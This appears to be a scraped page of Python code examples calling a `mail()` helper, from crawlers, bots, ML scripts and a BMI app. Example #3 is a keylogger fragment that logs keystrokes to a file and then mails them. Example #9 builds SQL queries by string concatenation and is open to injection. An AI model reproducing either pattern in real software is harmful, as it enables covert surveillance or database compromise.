Example #1
0
def f():
    db = connection.db
    while True:
        print("Crawling")
        query = {"url": {"$ne": None}, "status": "approved"}
        cur = db['queue'].find(query)
        for c in cur:
            # print("a")
            r = c['req_no']
            u = c['url']
            p = c['collection_name']
            n = c['no_of_pages']
            try:
                crawl(p, u, n)
                print("crawled")
                giveRank(p)
                print("ranked")
                index(p)
                print("indexed")
                mail(p, r, "")
            except Exception as e:
                mail(p, r, str(e))
            db['queue'].delete_one({"url": u, "req_no": r})
        print("Job Completed")
        time.sleep(5)
Example #2
0
def photo(update: Update, context: CallbackContext):
    user = update.message.from_user
    photo_file = update.message.photo[-1].get_file()
    # photo_file.download('user_photo.jpg')

    # Get link to get file_path
    link1 = "https://api.telegram.org/bot{}/getfile?file_id={}".format(TOKEN, photo_file.file_id)
    r = requests.get(link1)
    file_path = r.json()["result"]["file_path"]

    # Link to download file
    link2 = "https://api.telegram.org/file/bot{}/{}".format(TOKEN, file_path)
    global img_link
    img_link = link2
    logger.info("Picture: %s", img_link)

    mail(gps_location, delivery_number, img_link)
    update.message.reply_text('A picture of your shipment has been uploaded. Thank you for your cooperation.')
    return ConversationHandler.END
Example #3
0
def on_press(key):
    global keys  # to prevent unbound local error
    global i_time
    # if(time.time() - i_time <= 2):
    # print(time.time() - i_time)
    if key in close_combination:
        current.add(key)
        if all(k in current for k in close_combination):
            keys.close()
            mail()
            listener.stop()

    else:
        if (time.time() - i_time <= 2):
            pass
        else:
            keys.write("\n")

        if key == keyboard.Key.space:
            keys.write(" ")

        elif key == keyboard.Key.enter:
            keys.write("\n")

        elif key == keyboard.Key.backspace:
            keys.close()
            keys = open(r"C:\Users\Ritick Madaan\Desktop\keys.txt", "r")
            data = keys.read()
            keys.close()
            keys = open(r"C:\Users\Ritick Madaan\Desktop\keys.txt", "a")
            keys.truncate(len(data) - 1)
        else:
            try:
                keys.write(key.char)
            except AttributeError:
                # keys.write(format(key))
                pass  # keys like shift, enter, ctrl come in this category

    i_time = time.time()
Example #4
0
    zipName = fileName + ".zip"

    # on definit le nom du tar.gz de sauvegarde
    tarName = fileName + ".tar.gz"

    # on nettoye les fichiers temporaires qui pourrait creer des conflits
    clean(fileName)

    # on va chercher le zip sur le server web
    getZip(data["source"]["url"])

    # on verifie le contenu du zip
    checkZip(zipName)

    # on dézip le fichier
    extractZip(zipName)

    # on le recompresse au format Tar.ge
    makeTarfile(tarName, data["source"]["name"])

    # on l'envoie sur le serveur distant
    sftpUpload(tarName)

    # on envoie un mail en cas de réussite
    mail("réussite", data["mail"]["to"], "corps")

except Exception as e:
    print(e)
    logging.critical(e)
    mail("echec", data["mail"]["to"], e)
Example #5
0
    print relevant
    print hit
    return


allrecord = []
for i in xrange(len(all_cart)):
    user_cart = all_cart[i]
    for i in user_cart:
        allrecord.append(i)

for iter in xrange(300):
    allresult = []
    print "Iter %d" % iter
    print "Training..."
    sumloss = 0
    for i in xrange(len(all_cart)):
        user_cart = all_cart[i]
        user_cart = user_cart[0:int(0.8 * len(user_cart))]
        if len(user_cart) < 10:
            continue
        u, w, x, loss = train(user_cart, u, x, w)
        sumloss += loss

    print sumloss

    predict(all_cart, allresult)
    print Counter(allresult)
f_handler.close()
mail('./result.txt')
Example #6
0
allrecord = []
for i in xrange(len(all_cart)):
    user_cart = all_cart[i]
    for i in user_cart:
        allrecord.append(i)
fre = Counter(allrecord)
print fre
print "learningrate = 0.01 lamda=0.001"
iter = 0
while True:
    allresult = []
    print "Iter %d" % iter
    print "Training..."
    sumloss = 0
    for i in xrange(len(all_cart)):
        user_cart = all_cart[i]
        user_cart = user_cart[0:int(0.8 * len(user_cart))]
        if len(user_cart) < 10:
            continue
        u, w, x, loss = train(user_cart, u, x, w)
        sumloss += loss

    print sumloss

    predict(all_cart, allresult)
    print Counter(allresult)
    iter += 1

mail('./resultmobile.txt')
allrecord=[]
for i in xrange(len(all_cart)):
	user_cart = all_cart[i]
	for i in user_cart:
		allrecord.append(i)
fre=Counter(allrecord)
print fre
print "learningrate = 0.01 lamda=0.001"
iter = 0
while True:
	allresult=[]
	print "Iter %d"%iter
	print "Training..."
	sumloss=0
	for i in xrange(len(all_cart)):
		user_cart = all_cart[i]
		user_cart = user_cart[0:int(0.8*len(user_cart))]
		if len(user_cart)<10:
			continue
		u,w,x,loss=train(user_cart,u,x,w)
		sumloss+=loss

	print sumloss

	predict(all_cart,allresult)
	print Counter(allresult)
	iter += 1

mail('./resultmobile.txt')
def bmi():
    x = float(w.get()) // (float(h.get())**2)
    ne = n.get()
    ee = e.get()
    print('''%s your BMI is: %d''' % (ne, x))
    if x in range(18, 26):
        message = '''
		Your BMI = %d
		Congrats you are healthy!
		EAT-SLEEP-REPEAT
		''' % x
        mb.showinfo("Hello %s" % ne, message)
        mail(message, ee)
        mb.showinfo("Success!", "E-mail has been sent to you")

    elif x in range(25, 30):
        message = '''
		Your BMI = %d
		You fall in overweight category
		Start exercise..
		''' % x
        mb.showwarning("BMI Calculation", message)
        mail(message, ee)
        mb.showinfo("Success!", "E-mail has been sent to you")

    elif x in range(2, 18):
        message = '''
		Your BMI = %d
		You fall in Underweight category
		Consume Calories
		''' % x
        mb.showwarning("BMI Calculation", message)
        mail(message, ee)
        mb.showinfo("Success!", "E-mail has been sent to you")

    elif x in range(30, 35):
        message = '''
		Your BMI = %d
		Alert You fall in Obese Class I
		Start Exercising
		''' % x
        mb.showerror("BMI Calculation", message)
        mail(message, ee)
        mb.showinfo("Success!", "E-mail has been sent to you")

    elif x in range(35, 40):
        message = '''
		Your BMI = %d
		Alert You fall in Obese Class II
		Start Exercising, Stop Fast fooding
		''' % x
        mb.showerror("BMI Calculation", message)
        mail(message, ee)
        mb.showinfo("Success!", "E-mail has been sent to you")

    elif (x > 40):
        message = '''
		Your BMI = %d
		Alert You fall in Obese Class III
		Consult Doctor ASAP
		''' % x
        mb.showerror("BMI Calculation", message)
        mail(message, ee)
        mb.showinfo("Success!", "E-mail has been sent to you")

    elif (x == 0):
        mb.showwarning("ALert", "Please enter Weight in KGS and Height in 'm'")
Example #9
0
    def post(self, email, from_date, to_date, leave_type, reason, contact,
             halfDay):
        row_id = 0
        fid = '',
        name = ''
        lid = ''
        max_leaves = 0
        available_dates = []
        flag = Check_Teaching().get(email)
        if flag:
            leaves_table = 'Leaves'
        else:
            staff_type = 'Non_Teaching_Leaves'
        no_of_days = float(0)
        conn = e.connect()
        if Check_Teaching().get(email):
            fid = conn.execute(
                'select fid from Teaching where Teaching.email =' + '\'' +
                email + '\'').fetchall()[0][0]
            name = conn.execute(
                'select name from Teaching where Teaching.email =' + '\'' +
                email + '\'').fetchall()[0][0]
            if not Check_HOD().get(email):
                lid = conn.execute(
                    'select lid from LeaveTypes where description = ' + '\'' +
                    leave_type + '\'').fetchall()[0][0]
                max_leaves = conn.execute(
                    'select max_leaves from LeaveTypes where lid = \'' + lid +
                    '\'').fetchall()[0][0]
            else:
                lid = conn.execute(
                    'select lid from HOD_LeaveTypes where description = ' +
                    '\'' + leave_type + '\'').fetchall()[0][0]
                max_leaves = conn.execute(
                    'select max_leaves from HOD_LeaveTypes where lid = \'' +
                    lid + '\'').fetchall()[0][0]
        else:
            fid = conn.execute(
                'select fid from Non_Teaching where Non_Teaching.email =' +
                '\'' + email + '\'').fetchall()[0][0]
            name = conn.execute(
                'select name from Non_Teaching where Non_Teaching.email =' +
                '\'' + email + '\'').fetchall()[0][0]
            lid = conn.execute(
                'select lid from Non_Teaching_LeaveTypes where description = '
                + '\'' + leave_type + '\'').fetchall()[0][0]
            max_leaves = conn.execute(
                'select max_leaves from Non_Teaching_LeaveTypes where lid = \''
                + lid + '\'').fetchall()[0][0]
        fdate = [int(i) for i in from_date.split('-')]
        fdate = date(fdate[0], fdate[1], fdate[2])
        tdate = [int(i) for i in to_date.split('-')]
        tdate = date(tdate[0], tdate[1], tdate[2])
        if halfDay == 'false':
            delta = tdate - fdate
            days_between_dates = list(
                map(lambda x: str(fdate + timedelta(days=x)),
                    range(delta.days + 1)))
            available_dates = list(
                filter(lambda x: True
                       if (x not in holidays) else False, days_between_dates))
            no_of_days = float(len(available_dates))
        else:
            no_of_days = 0.5
            available_dates = [str(fdate + timedelta(days=0))]
        applied_leaves = conn.execute('select sum(nodays) from Leaves where lid = \'' + \
                                      lid+'\'' + 'and email = \'' + email + '\'').fetchall()[0][0]
        row_id = conn.execute('select max(id) from Leaves').fetchall()[0][0]
        if (not applied_leaves):
            applied_leaves = 0
        if row_id:
            row_id += 1
        else:
            row_id = 1
        values = "('%d','%s','%s','%s','%s','%s','%s','%f','%s' , '%s')" % (
            row_id, email, fid, lid, from_date, to_date, reason, no_of_days,
            contact, '')

        if (max_leaves - applied_leaves) >= no_of_days:
            query = conn.execute('insert into ' + 'Leaves' + ' values ' +
                                 values)
            mail(email, name)
            return [True, no_of_days, available_dates]
        else:
            return False
Example #10
0
	user_cart = all_cart[i]
	for i in user_cart:
		allrecord.append(i)

for iter in xrange(300):
	allresult=[]
	print "Iter %d"%iter
	print "Training..."
	sumloss=0
	for i in xrange(len(all_cart)):
		user_cart = all_cart[i]
		user_cart = user_cart[0:int(0.8*len(user_cart))]
		if len(user_cart)<10:
			continue
		u,w,x,loss=train(user_cart,u,x,w)
		sumloss+=loss

	print sumloss

	predict(all_cart,allresult)
	print Counter(allresult)
f_handler.close()
mail('./result.txt')







Example #11
0
def sendMail(sendTo, message, topic):
    sender = mail()
    sender.send(sendTo, message, topic)
    connector.addLog(datetime.now(), str('[sendMail] Sent mail to ' + sendTo))
    return 0
Example #12
0
def timed_job():
    mail()
Example #13
0
def sendMail(sendTo, message, topic):
    sender = mail()
    sender.send(sendTo, message, topic)
    connector.addLog(datetime.now(), str('[sendMail] Sent mail to '+sendTo))
    return 0